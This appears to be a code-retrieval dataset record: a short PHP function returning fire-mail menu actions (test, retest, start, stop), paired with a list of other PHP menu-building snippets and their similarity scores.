($this->_request->getFullActionName() == self::CATALOG_SEARCH_ACTION_NAME) {\n return $this->_layout->getBlock($this->_vars['catalogsearch_left_navigation_block'])->toHtml();\n }\n\n return '';\n }", "public function menu_secondary_menu()\n {\n return menu_secondary_menu();\n }", "public function getName()\n {\n return \"menu\";\n }", "protected function _menu() {\n\t\t// Get count of ham comments\n\t\t$ham = Sprig::factory('blog_comment', array('state'=>'ham'))->load(NULL, FALSE)->count();\n\t\t$ham = ($ham > 0) ? ' ['.$ham.']' : '';\n\n\t\t// Get count of queued comments\n\t\t$queued = Sprig::factory('blog_comment', array('state'=>'queued'))->load(NULL,FALSE)->count();\n\t\t$queued = ($queued > 0) ? ' ['.$queued.']' : '';\n\n\t\t// Get count of spam comments\n\t\t$spam = Sprig::factory('blog_comment', array('state'=>'spam'))->load(NULL,FALSE)->count();\n\t\t$spam = ($spam > 0) ? ' ['.$spam.']' : '';\n\n\t\treturn View::factory('blog/admin/menu')\n\t\t\t->set('links', array(\n\t\t\t\t'Approved Comments'.$ham => $this->request->uri(array('action' => 'approved')),\n\t\t\t\t'Moderation Queue'.$queued => $this->request->uri(array('action' => 'queue')),\n\t\t\t\t'Spam Comments'.$spam => $this->request->uri(array('action' => 'spam')),\n\t\t\t));\n\t}", "public function getMenuTitle(): string;", "public function render()\n {\n global $conf, $registry, $prefs;\n\n $app = $registry->getApp();\n\n if ($this->_mask !== self::MASK_NONE) {\n /* Add any custom menu items. */\n $this->addSiteLinks();\n }\n\n /* No need to return an empty list if there are no menu\n * items. */\n if (!count($this->_menu)) {\n return '';\n }\n\n /* Sort to match explicitly set positions. */\n ksort($this->_menu);\n if ($registry->nlsconfig->curr_rtl) {\n $this->_menu = array_reverse($this->_menu);\n }\n\n return $this->_render();\n }", "function getMenuEntries()\n\t{\n\t\tglobal $rbacsystem, $lng, $tree, $ilUser, $ilSetting;\n\n\t\t// no menu during online tests\n\t\tif ($_SESSION[\"adn_online_test\"])\n\t\t{\n\t\t\treturn \"\";\n\t\t}\n\n\t\t$mm_tpl = new ilTemplate(\"tpl.adn_main_menu.html\", true, true, \"Services/ADN/UI\");\n\n\t\tforeach ($this->getAllMenuItems() as $menu => $items)\n\t\t{\n\t\t\t$this->renderSubMenu($mm_tpl, $menu);\n\t\t}\n\t\treturn $mm_tpl->get();\n\n\n\n\t\t$tpl->setCurrentBlock(\"cust_menu\");\n\t\t$tpl->setVariable(\"TXT_CUSTOM\",\n\t\t\tlfCustomMenu::lookupTitle(\"it\", $menu[\"id\"], $ilUser->getLanguage(), true));\n\t\t$tpl->setVariable(\"MM_CLASS\", \"MMInactive\");\n\n\t\tif (is_file(\"./templates/default/images/mm_down_arrow.png\"))\n\t\t{\n\t\t\t$tpl->setVariable(\"ARROW_IMG\", ilUtil::getImagePath(\"mm_down_arrow.png\"));\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tpl->setVariable(\"ARROW_IMG\", ilUtil::getImagePath(\"mm_down_arrow.gif\"));\n\t\t}\n\t\t$tpl->setVariable(\"CUSTOM_CONT_OV\", $gl->getHTML());\n\t\t$tpl->setVariable(\"MM_ID\", $menu[\"id\"]);\n\t\t$tpl->parseCurrentBlock();\n\t\t$tpl->setCurrentBlock(\"c_item\");\n\t\t$tpl->parseCurrentBlock();\n\n\t}", "public function getPageMenu() {\n\t\t\tglobal $factory_impressive_page_menu;\n\n\t\t\treturn $factory_impressive_page_menu[ $this->getMenuScope() ];\n\t\t}", "public function getMenu()\n{\n $lang=$this->translation;\n foreach($this->_headerMenu as $hmenukey => $hmenu){\n foreach($hmenu as $hkey=>$hval){\n $this->_headerMenu[$hmenukey][$hkey]['caption']=$lang->_($hkey);\n }\n }\n $auth = $this->session->get('auth');\n if ($auth) {\n $this->_headerMenu['navbar-right']['oturum'] = array(\n 'caption' => $lang->_('logout'),\n 'action' => 'bitir'\n );\n\n } else {\n unset($this->_headerMenu['navbar-left']['islemler']);\n unset($this->_headerMenu['navbar-left']['r4t']);\n unset($this->_headerMenu['navbar-left']['hesap']);\n }\n\n $controllerName = $this->view->getControllerName();\n foreach ($this->_headerMenu as $position => $menu) {\n echo '<div class=\"nav-collapse\">';\n echo '<ul class=\"nav navbar-nav ', $position, '\">';\n foreach ($menu as $controller => $option) {\n if ($controllerName == $controller) {\n echo '<li class=\"active\">';\n } else {\n echo '<li>';\n }\n if ($controller=='admin'){\n if(($auth) and ($auth['auth']==0)){\n echo $this->tag->linkTo($controller . '/' . $option['action'], $option['caption']);\n }}else{\n echo $this->tag->linkTo($controller . '/' . $option['action'], $option['caption']);\n }\n echo '</li>';\n }\n\n echo '</ul>';\n echo '</div>';\n }\n\n }", "public function prefsMenu()\n {\n return Beatnik::getMenu();\n }", "public function getSideMenu()\n {\n return $this->SideMenu;\n }", "public static function menus()\n {\n return [];\n }", "private function _getCoreMenu(){\r\n\r\n if($this->hasLogin()){\r\n $settings = array_merge((array) $this->pageSettings, (array) $this->globalSettings);\r\n $params = array();\r\n foreach($settings as $key => $value){\r\n $params[\"[!$key]\"] = $value;\r\n }\r\n\r\n $nav = '';\r\n\r\n if(isset($this->navigationSettings)){\r\n\r\n foreach((array) $this->navigationSettings as $key => $value){\r\n $nav .= \"<li>\";\r\n $nav .= \"<span>$key</span>\";\r\n $nav .= \"<span>$value</span>\";\r\n $nav .= \"<input type='text' class='mrzpn-navigation-text' value='$key'/>\";\r\n $nav .= \"<input type='text' class='mrzpn-navigation-link' value='$value'/>\";\r\n $nav .= \"<input type='hidden' name='$key' value='$value' />\";\r\n $nav .= \"<a href='JavaScript:void(0);' class='mrzpn-menu-navigation-remove'></a>\";\r\n $nav .= \"</li>\";\r\n }\r\n\r\n }\r\n\r\n\r\n $params[\"[!main_nav]\"] = $nav;\r\n\r\n echo strtr(file_get_contents(ROOT.DS.'core'.DS.'settings.php'), $params);\r\n exit;\r\n }\r\n\r\n }", "function farmhouse_header_left_menu() {\n genesis_nav_menu(\n array(\n 'theme_location' => 'header-left',\n 'depth' => 2,\n )\n );\n}", "public function adminleftmenu(){\n\t\t$this->db->select('id,menu_name,parent_id,i_order,url,menu_icon');\n\t\t$this->db->from('tb_admin_menu');\n\t\t$this->db->where(\"tb_admin_menu.parent_id = '0' AND tb_admin_menu.status='A' AND tb_admin_menu.site_id=4\");\n\t\t$query = $this->db->get();\n\t\t$left_menu = $query->result_array();\n\t\t// Get Nested Left Menu\n\t\tforeach ($left_menu as $key => $value) {\n\t\t\t$this->db->select('id,menu_name,parent_id,i_order,url,menu_icon');\n\t\t\t$this->db->from('tb_admin_menu');\n\t\t\t$this->db->where(\"tb_admin_menu.parent_id = '\".$value['id'].\"' AND tb_admin_menu.status='A' AND tb_admin_menu.site_id=4\");\n\t\t\t$query = $this->db->get();\n\t\t\t$nested_left_menu = $query->result_array(); \n\t\t\t$left_menu[$key]['nested_menu'] = $nested_left_menu;\n\t\t}\n\n\t\tif(sizeof($left_menu) > 0){\n\t\t\treturn $left_menu;\n\t\t}else{\n\t\t\treturn array(); \n\t\t}\n\t}" ]
[ "0.77768785", "0.74115473", "0.731653", "0.72810954", "0.71516556", "0.7091659", "0.7091659", "0.7051819", "0.70020604", "0.6966524", "0.6926043", "0.6925746", "0.692449", "0.69087946", "0.6896429", "0.68953013", "0.6885175", "0.6875016", "0.68550754", "0.6849391", "0.6827749", "0.6801557", "0.6775483", "0.67632115", "0.67561275", "0.6750709", "0.6750709", "0.6750233", "0.67138106", "0.6705066", "0.67016536", "0.6690309", "0.66784865", "0.6678381", "0.6678381", "0.6678381", "0.6678381", "0.6678381", "0.6678381", "0.6666809", "0.6632682", "0.6624516", "0.66110885", "0.6583435", "0.65809166", "0.6576228", "0.6566799", "0.6550994", "0.6547215", "0.6527267", "0.65252084", "0.65251845", "0.65251845", "0.65210354", "0.65208894", "0.6509084", "0.65036863", "0.6501863", "0.6499954", "0.6486107", "0.6485792", "0.6485112", "0.6485112", "0.64740044", "0.646688", "0.6459885", "0.64584935", "0.645097", "0.6445765", "0.6436737", "0.6420232", "0.64064634", "0.639226", "0.63830125", "0.63671803", "0.63498884", "0.6349363", "0.634531", "0.6343", "0.6339309", "0.63382024", "0.6335768", "0.6334877", "0.63326055", "0.633049", "0.6324372", "0.6321662", "0.63180363", "0.63178426", "0.631493", "0.630459", "0.63040775", "0.6297252", "0.629125", "0.6282793", "0.62757504", "0.626776", "0.62651336", "0.62643105", "0.62550735" ]
0.7381873
2
/ This function will return the horizontal menu to be displayed on right side of the mmm interface in the fire mail success tpl.
public static function getFireMailMenu() { $arr["test"] = "test"; $arr["retest"] = "retest"; $arr["start"] = "start"; $arr["stop"] = "stop"; return $arr; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function left_menu()\n\t\t{\n\t\t\t $page_name = functions::get_page_name();\n\t\t\techo '\n\t\t\t\t<ul>\n\t\t\t\t\t';\n\t\t\t\t\t\n\t\t\t\t\t$content_module = array('manage_content.php', 'register_content.php', 'manage_page_content.php', 'register_page_content.php','manage_content_option.php', 'register_content_option.php'\n\t\t\t\t\t,'manage_category.php', 'register_category.php');\n\t\t\t\t\tif(in_array($page_name, $content_module))\n\t\t\t\t\t{\n\t\t\t\t\t\techo '\n\t\t\t\t\t\t<li>\n\t\t\t\t\t\t<img src=\"images/icon-content.png\" alt=\"Manage CMS\" title=\"Manage CMS\" width=\"24\" height=\"24\" />\n\t\t\t\t\t\t<a href=\"manage_content.php\">CMS</a>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li><a href=\"manage_page_content.php\">Page Content</a></li>\n\t\t\t\t\t\t<li><a href=\"manage_category.php\">Category</a></li>\n\t\t\t\t\t\t\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t</li>';\n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\techo '<li><img src=\"images/icon-content.png\" alt=\"Manage CMS\" title=\"Manage CMS\" width=\"24\" height=\"24\" /><a href=\"manage_content.php\" >CMS</a></li>';\n\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\techo '<li><img src=\"images/icon-member.png\" alt=\"Manage Member\" title=\"Manage Member\" width=\"24\" height=\"24\" /><a href=\"manage_member.php\" >Member</a></li>\n\t\t\t\t\t<!--<li><img src=\"images/icon-property.png\" alt=\"Manage Property Type\" title=\"Manage Property Type\" width=\"24\" height=\"24\" /><a href=\"manage_property_type.php\" >Property Type</a></li>-->\n\t\t\t\t\t\n\t\t\t\t\t<li><img src=\"images/icon-property.png\" alt=\"Manage Hotel\" title=\"Manage Hotel\" width=\"24\" height=\"24\" /><a href=\"manage_hotel.php\" >Hotel</a></li>\n\t\t\t\t\t<li><img src=\"images/icon-restaurant.jpg\" alt=\"Manage Restaurant\" title=\"Manage Restaurant\" width=\"24\" height=\"24\" /><a href=\"manage_restaurant.php\" >Restaurant</a></li>\n\t\t\t\t\t<li><img src=\"images/icon-venue.png\" alt=\"Manage Venue\" title=\"Manage Venue\" width=\"24\" height=\"24\" /><a href=\"manage_venue.php\" >Venue</a></li>\n\t\t\t\t\t';\n\t\t\t\t\t\t\n\t\techo '</ul>';\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t}", "public static function getLeftPanelMenu()\n\t{\n $arr[\"Create new mailer\"] = \"createMailer\";\n $arr[\"Form Query(Jeevansathi)\"] = \"formQueryJs\";\n $arr[\"Form Query(99acres)\"] = \"formQuery_99\";\n $arr[\"Upload a CSV\"] = \"csvUpload\";\n $arr[\"Write Mail\"] = \"writeMail\";\n $arr[\"Set Test Email Id \"] = \"setTestId\";\n $arr[\"Mail Fire Menu\"] = \"fireMenu\";\n $arr[\"MIS\"] = \"mis\";\n\t\t\t\t$arr[\"MIS-99\"] = \"mis99\";\n $arr[\"MIS-Generate Csv\"] = \"createCsv\";\n $arr[\"Get Link For Client MIS\"] = \"clientMISLink\";\n $arr[\"Logout\"] = \"logout\";\n\t\treturn $arr;\n\t}", "function showMenu_left($page) {\n $menu = $this->getArray('sys_menu_group', 'status=1', 'position asc');\n $next1 = \"<b>&nbsp;&rsaquo;&nbsp;</b>\";\n echo '<div class=\"m_left_top\">Danh mục</div>\n\n\n\n\n\n\n\n <div class=\"m_left_center\">';\n if (count($menu) > 0) {\n foreach ($menu as $value) {\n $submenu = $this->getArray('sys_table', \"menu=1 AND menu_group_id='\" . $value[\"id\"] . \"'\", 'position asc');\n $groupmenu_html = '';\n if (count($submenu) > 0) {\n $submenu_html = '';\n foreach ($submenu as $v) {\n $id = $v['id'];\n if ($_SESSION[\"user_login\"][\"role_id\"] == 11) {\n $_SESSION['permission'][$id]['is_list'] = 1;\n $_SESSION['permission'][$id]['is_edit'] = 1;\n $_SESSION['permission'][$id]['is_insert'] = 1;\n $_SESSION['permission'][$id]['is_delete'] = 1;\n }\n if ($_SESSION['permission'][$id]['is_list']) {\n $submenu_html .= '<div class=\"item_menu\"><a class=\"sub\" href=\"' . (($v['custom_link']) ? $v['custom_link'] : 'mngMain.php') . '?table_name=' . stripslashes($v[\"table_name\"]) . '\">' . $next1 . '' . $v[\"title\"] . '</a></div>';\n $submenu_html .= '<div style=\"clear:both\"></div>';\n }\n }\n if ($submenu_html) {\n $groupmenu_html .= '<div class=\"menu_right\" id=\"menu_right\">';\n $groupmenu_html .= $submenu_html;\n $groupmenu_html .= \"</div>\";\n $groupmenu_html .= '<div style=\"clear:both\"></div>';\n $groupmenu_html .= '<div class=\"hr\"></div>';\n }\n }\n if ($groupmenu_html) {\n echo '<div class=\"title_r\">' . $value[\"title\"] . '</div>';\n echo '<div class=\"clear\"></div>';\n echo $groupmenu_html;\n }\n }\n }\n echo '</div>';\n }", "public function getMenu()\r\n {\r\n $auth = $this->session->get('auth');\r\n if ($auth) {\r\n $this->_headerMenu['navbar-right']['session'] = array(\r\n 'caption' => 'Log Out',\r\n 'action' => 'end'\r\n );\r\n } else {\r\n unset($this->_headerMenu['navbar-left']['invoices']);\r\n }\r\n\r\n $controllerName = $this->view->getControllerName();\r\n foreach ($this->_headerMenu as $position => $menu) {\r\n echo '<div class=\"nav-collapse\">';\r\n echo '<ul class=\"nav navbar-nav ', $position, '\">';\r\n foreach ($menu as $controller => $option) {\r\n if ($controllerName == $controller) {\r\n echo '<li class=\"active\">';\r\n } else {\r\n echo '<li>';\r\n }\r\n echo $this->tag->linkTo($controller . '/' . $option['action'], $option['caption']);\r\n echo '</li>';\r\n }\r\n echo '</ul>';\r\n echo '</div>';\r\n }\r\n\r\n }", "private function menu() {\n // Array Map: Key(Menu Elements) => Array(Bold, Not Dynamic tag)\n if(isset($_SESSION['isAdmin'])) {\n $data['menu'] = [\n 'dashboard' => [false, false],\n 'general' => [false, false],\n 'weather' => [false, false],\n 'themes' => [false, false],\n 'languages' => [false, false],\n 'info_pages' => [false, false],\n 'ads' => [false, false],\n 'password' => [false, false],\n 'logout' => [false, true]\n ];\n } else {\n $data['menu'] = [\n 'login' => [false, false],\n ];\n }\n\n // If on the current route, enable the Bold flag\n $data['menu'][$this->url[1]][0] = true;\n\n return $this->view->render($data, 'admin/menu');\n }", "public function getMenu()\n{\n $lang=$this->translation;\n foreach($this->_headerMenu as $hmenukey => $hmenu){\n foreach($hmenu as $hkey=>$hval){\n $this->_headerMenu[$hmenukey][$hkey]['caption']=$lang->_($hkey);\n }\n }\n $auth = $this->session->get('auth');\n if ($auth) {\n $this->_headerMenu['navbar-right']['oturum'] = array(\n 'caption' => $lang->_('logout'),\n 'action' => 'bitir'\n );\n\n } else {\n unset($this->_headerMenu['navbar-left']['islemler']);\n unset($this->_headerMenu['navbar-left']['r4t']);\n unset($this->_headerMenu['navbar-left']['hesap']);\n }\n\n $controllerName = $this->view->getControllerName();\n foreach ($this->_headerMenu as $position => $menu) {\n echo '<div class=\"nav-collapse\">';\n echo '<ul class=\"nav navbar-nav ', $position, '\">';\n foreach ($menu as $controller => $option) {\n if ($controllerName == $controller) {\n echo '<li class=\"active\">';\n } else {\n echo '<li>';\n }\n if ($controller=='admin'){\n if(($auth) and ($auth['auth']==0)){\n echo $this->tag->linkTo($controller . '/' . $option['action'], $option['caption']);\n }}else{\n echo $this->tag->linkTo($controller . '/' . $option['action'], $option['caption']);\n }\n echo '</li>';\n }\n\n echo '</ul>';\n echo '</div>';\n }\n\n }", "function get_menu()\r\n {\r\n $extra_items = array();\r\n $create = array();\r\n $create['title'] = Translation :: get('Send');\r\n $create['url'] = $this->get_personal_message_creation_url();\r\n $create['class'] = 'type_compose';\r\n $extra_items[] = $create;\r\n\r\n $temp_replacement = '__FOLDER__';\r\n $url_format = $this->get_url(array(\r\n Application :: PARAM_ACTION => PersonalMessengerManager :: ACTION_BROWSE_MESSAGES,\r\n PersonalMessengerManager :: PARAM_FOLDER => $temp_replacement));\r\n $url_format = str_replace($temp_replacement, '%s', $url_format);\r\n $user_menu = new PersonalMessengerMenu($this->get_folder(), $url_format, $extra_items);\r\n\r\n if ($this->get_action() == self :: ACTION_CREATE_PUBLICATION)\r\n {\r\n $user_menu->forceCurrentUrl($create['url'], true);\r\n }\r\n\r\n $html = array();\r\n $html[] = '<div style=\"float: left; width: 15%;\">';\r\n $html[] = $user_menu->render_as_tree();\r\n $html[] = '</div>';\r\n\r\n return implode($html, \"\\n\");\r\n }", "function left_menu()\n {\n $query_string = \"SELECT * FROM menus where menu_position = 'Left' AND menu_published ='Yes' AND menu_status = 'Active'\";\n\n $items = $this->db->query($query_string);\n $left_menu_data =\"<ul>\";\n foreach ($items->result() as $row)\n {\n // $left_menu_data .= $row->menu_id;\n // $left_menu_data .= $row->menu_name;\n $left_menu_data .= '<li><a href=\"'. base_url().'index.php/Contact_Management_User/get_value/'.$row->menu_id.'\"> '.$row->menu_name.' </a></li>';\n \n }\n $left_menu_data .=\"</ul>\"; \n return $left_menu_data;\n }", "public function renderMenu() {\n\t\t$content = '<table class=\"list\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">';\n\n\t\t$label = $this->getChangeRoleLabel();\n\t\t$ajaxFunction = (tx_newspaper_Workflow::getRole() == NP_ACTIVE_ROLE_EDITORIAL_STAFF)? 'changeRoleToDutyEditor' : 'changeRoleToEditorialStaff';\n\n\t\t$content .= '<tr id=\"newspaper-role-changerole\" class=\"newspaper-role first-row\">\n\t<td class=\"label\"><a href=\"#\" target=\"content\" onclick=\"TYPO3BackendNewspaperRole.toggleMenu(); TYPO3BackendNewspaperRole.' . $ajaxFunction . '(); return false;\">' . $label . '</a></td>\n</tr>\n</table>';\n\t\treturn $content;\n\t}", "public static function get_menu_display(){\n\t\t\t\n\t\t\t$htm = '<link rel=\"stylesheet\" href=\"'.plugins_url().'/menu-generator/menu-files/post-menu.css\">\n\t\t\t\t\t<script type=\"text/javascript\" src=\"http://code.jquery.com/jquery-1.10.2.min.js\"></script>\n\t\t\t\t\t<script type=\"text/javascript\">\n\t\t\t\t\tjQuery(document).ready(function(){\n\t\t\t\t\t\tfunction resizing(){\n\t\t\t\t\t\t\tvar x = jQuery(\"#menu-cont1\").width();\n\t\t\t\t\t\t\t\tif(x <= 320){\n\t\t\t\t\t\t\t\t\tjQuery(\".itm_details p\").hide();\n\t\t\t\t\t\t\t\t\tjQuery(\".item_box\").css(\"min-height\",\"100px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"font-size\",\"10px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"margin-left\",\"-10px\");\n\t\t\t\t\t\t\t\t} else if(x <= 400){\n\t\t\t\t\t\t\t\t\tjQuery(\".itm_details p\").hide();\n\t\t\t\t\t\t\t\t\tjQuery(\".item_box\").css(\"min-height\",\"120px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"font-size\",\"10px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"margin-left\",\"-10px\");\n\t\t\t\t\t\t\t\t} else if(x <= 480){\n\t\t\t\t\t\t\t\t\tjQuery(\".itm_details p\").show();\n\t\t\t\t\t\t\t\t\tjQuery(\".item_box\").css(\"min-height\",\"140px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"font-size\",\"10px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"margin-left\",\"-10px\");\n\t\t\t\t\t\t\t\t} else if(x <= 540){\n\t\t\t\t\t\t\t\t\tjQuery(\".itm_details p\").show();\n\t\t\t\t\t\t\t\t\tjQuery(\".item_box\").css(\"min-height\",\"140px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"font-size\",\"12px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"margin-left\",\"-10px\");\n\t\t\t\t\t\t\t\t} else if (x <= 640){\n\t\t\t\t\t\t\t\t\tjQuery(\".itm_details p\").show();\n\t\t\t\t\t\t\t\t\tjQuery(\".item_box\").css(\"min-height\",\"240px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"font-size\",\"14px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"margin-left\",\"-15px\");\n\t\t\t\t\t\t\t\t} else if (x <= 768){\n\t\t\t\t\t\t\t\t\tjQuery(\".itm_details p\").show();\n\t\t\t\t\t\t\t\t\tjQuery(\".item_box\").css(\"min-height\",\"240px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"font-size\",\"14px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"margin-left\",\"-15px\");\n\t\t\t\t\t\t\t\t} else if (x >= 768){\n\t\t\t\t\t\t\t\t\tjQuery(\".itm_details p\").show();\n\t\t\t\t\t\t\t\t\tjQuery(\".item_box\").css(\"min-height\",\"240px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"font-size\",\"14px\");\n\t\t\t\t\t\t\t\t\tjQuery(\".left-rows\").css(\"margin-left\",\"-15px\");\n\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t}\n\t\t\t\tresizing();\n\t\t\t\tjQuery(window).resize(function(){\n\t\t\t\t\t\tresizing();\n\t\t\t\t\t\tvar y = jQuery(\"#menu-cont1\").width();\n\t\t\t\t\t\tjQuery(\"#width_\").html(y +\"=\" + jQuery(\"#left-menu\").width());\n\t\t\t\t});\n\t\t\t\tjQuery(\".left-rows\").click(function(){\n\t\t\t\t\tjQuery(\".mhead-inner\").html(jQuery(this).html());\n\t\t\t\t\tif(jQuery(this).attr(\"id\") == \"menu-all\"){\n\t\t\t\t\t\t\tjQuery(\".item_box\").show();\n\t\t\t\t\t} else {\t\n\t\t\t\t\t\t\tvar cls = jQuery(this).attr(\"id\");\n\t\t\t\t\t\t\tjQuery(\".item_box\").each(function(){\n\t\t\t\t\t\t\t\tif(jQuery(this).hasClass(cls)){\n\t\t\t\t\t\t\t\t\tjQuery(this).show();\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tjQuery(this).hide();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t});\n\t\t</script>\n\t\t<p id=\"width_\"></p>\n\t\t<div id=\"menu-cont1\">\n\t\t\t<div id=\"cont\">\n\t\t\t\t\t<div id=\"logo\">\n\t\t\t\t\t\t<h2 style=\"margin-left:20px\">your logo here</h2>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id=\"m-heading\">\n\t\t\t\t\t\t<div class=\"mhead-inner\">All Categories</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id=\"left-menu\" >\n\t\t\t\t\t\t'.self::get_menu().'\t\t\t\t\t\n\t\t\t\t\t</div>\n\t\t\t\t\t<div id=\"right-menu\">\n\t\t\t\t\t\t\t<div id=\"right-cont\">\n\t\t\t\t\t\t\t\t<div id=\"items_dish\">\n\t\t\t\t\t\t\t\t\t'.self::get_dishes().'\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>';\t\t\t\n\t\t\t\n\t\treturn $htm;\n\t\n\t\t}", "public function topMenuNavigation() {\n\t\t$out = '';\n\t\tif($modules = DataObject::get('WorkflowCategory', '', 'priority ASC')) {\n\t\t\tforeach ($modules as $module) {\n\t\t\t\tif (Permission::check(strtoupper(str_replace(\" \", \"_\", $module->name)))) {\n\t\t\t\t\t$icon = '';\n\t\t\t\t\tif($image = DataObject::get_by_id('Image', $module->imageID)) {\n\t\t\t\t\t\tif($smImage = $image->setSize(16,16)) {\n\t\t\t\t\t\t\t$icon = $smImage->URL;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$out .= \"\n\t\t\t\t\t{\n\t\t\t\t\t\ttext: '{$module->name}', \n\t\t\t\t\t\ticon: '{$icon}',\n\t\t\t\t\t\tmenu: {$this->moduleItems($module->ID)}\n\t\t\t\t\t},\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $out;\n\t}", "protected function _menu() {\n\t\t// Get count of ham comments\n\t\t$ham = Sprig::factory('blog_comment', array('state'=>'ham'))->load(NULL, FALSE)->count();\n\t\t$ham = ($ham > 0) ? ' ['.$ham.']' : '';\n\n\t\t// Get count of queued comments\n\t\t$queued = Sprig::factory('blog_comment', array('state'=>'queued'))->load(NULL,FALSE)->count();\n\t\t$queued = ($queued > 0) ? ' ['.$queued.']' : '';\n\n\t\t// Get count of spam comments\n\t\t$spam = Sprig::factory('blog_comment', array('state'=>'spam'))->load(NULL,FALSE)->count();\n\t\t$spam = ($spam > 0) ? ' ['.$spam.']' : '';\n\n\t\treturn View::factory('blog/admin/menu')\n\t\t\t->set('links', array(\n\t\t\t\t'Approved Comments'.$ham => $this->request->uri(array('action' => 'approved')),\n\t\t\t\t'Moderation Queue'.$queued => $this->request->uri(array('action' => 'queue')),\n\t\t\t\t'Spam Comments'.$spam => $this->request->uri(array('action' => 'spam')),\n\t\t\t));\n\t}", "private function menu()\n {\n $data['links'] = ['create', 'read', 'update', 'delete'];\n\n return $this->view->render($data, 'home/menu');\n }", "public function _built_right_menu()\n\t{\n\t\treturn '';\n\t}", "public function _built_right_menu()\n\t{\n\t\treturn '';\n\t}", "public function get_menu()\r\n {\r\n return '';\r\n }", "function right_menu()\n {\n $query_string = \"SELECT * FROM menus where menu_position = 'Right' AND menu_published ='Yes' AND menu_status = 'Active'\";\n\n $items = $this->db->query($query_string);\n $right_menu_data =\"<ul>\";\n foreach ($items->result() as $row) // values by object\n {\n // $left_menu_data .= $row->menu_id;\n // $left_menu_data .= $row->menu_name;\n $right_menu_data .= '<li><a href=\"'. base_url().'index.php/Contact_Management_User/get_value/'.$row->menu_id.'\" > '.$row->menu_name.' </a></li>';\n \n }\n $right_menu_data .=\"</ul>\"; \n return $right_menu_data; \n \n \n }", "function login_menu()\n\t{\n\t\t$menu=\"\";\n\t\t$bap=CBapelsin::instance();\n\t\t\n\t\tif($bap->user->isAuthenticated())\n\t\t{\n\t\t\t$user=$bap->user->getUserProfile();\n\t\t\t$menu=\"\";\n\t\t\tif($bap->config['login_menu'][\"show_gravatar\"])\n\t\t\t\t$menu.=\"<a href='http://gravatar.com/site/signup/'><img class='gravatar' src='\".get_gravatar(20).\"'></a>\";\n\t\t\t\n\t\t\tif($bap->config['login_menu']['profile']['label']==\"__profile\")\n\t\t\t\t$label=$user['acronym'];\n\t\t\telse\n\t\t\t\t$label=$bap->config['login_menu']['profile']['label'];\n\t\t\t\n\t\t\t$menu.=\"<a href='{$bap->request->createUrl($bap->config['login_menu']['profile']['src'])}'>{$label}</a> \";\n\t\t\tif($bap->user->isAdministrator())\n\t\t\t{\n\t\t\t\t$menu.=\"<a href='{$bap->request->createUrl($bap->config['login_menu']['acp']['src'])}'>{$bap->config['login_menu']['acp']['label']}</a> \";\n\t\t\t}\n\t\t\t$menu.=\"<a href='{$bap->request->createUrl($bap->config['login_menu']['logout']['src'])}'>{$bap->config['login_menu']['logout']['label']}</a>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$menu=\"<a href='{$bap->request->createUrl($bap->config['login_menu']['login']['src'])}'>{$bap->config['login_menu']['login']['label']}</a>\";\n\t\t}\t\t\n\t\tif(isset($bap->config['show_login_menu']) && isset($bap->config['show_login_menu']))\n\t\t\treturn $menu;\n\t\telse \n\t\t\treturn \"\";\n\t}", "function printLeftMenu($currentPage)\r\n {\r\n?>\r\n <div id=\"leftMenu\">\r\n <!--Corner Divs-->\r\n <div class=\"leftMenu-BotL\">\r\n <div class=\"leftMenu-BotR\">\r\n <div class=\"leftMenu-TopL\">\r\n <div class=\"leftMenu-TopR\">\r\n <!--Corner Divs-->\r\n \r\n <?php\t\t\r\n $menuItems = array();\r\n\r\n if (isset($_SESSION['username']))\r\n {\r\n $menuItems[\"intro\"] = \"<tr align='right'><td><strong>Hi \" . $_SESSION['username'] . \"!</td></tr>\";\r\n $menuItems[\"my_profile\"] = \"<tr align='right'><td><a class='normalMenuItem' href='my_profile.php'>My Profile</a></td></tr>\";\r\n $menuItems[\"my_software\"] = \"<tr align='right'><td><a class='normalMenuItem' href='my_software.php'>My Software</a></td></tr>\";\r\n $menuItems[\"my_projects\"] = \"<tr align='right'><td><a class='normalMenuItem' href='my_projects.php'>My Projects</a></td></tr>\";\r\n \r\n if ($_SESSION['userLevel'] >= 3)\r\n {\r\n $menuItems[\"admin\"] = \"<tr align='right'><td><strong>Admin functions:</td></tr>\";\r\n $menuItems[\"manage_users\"] = \"<tr align='right'><td><a class='normalMenuItem' 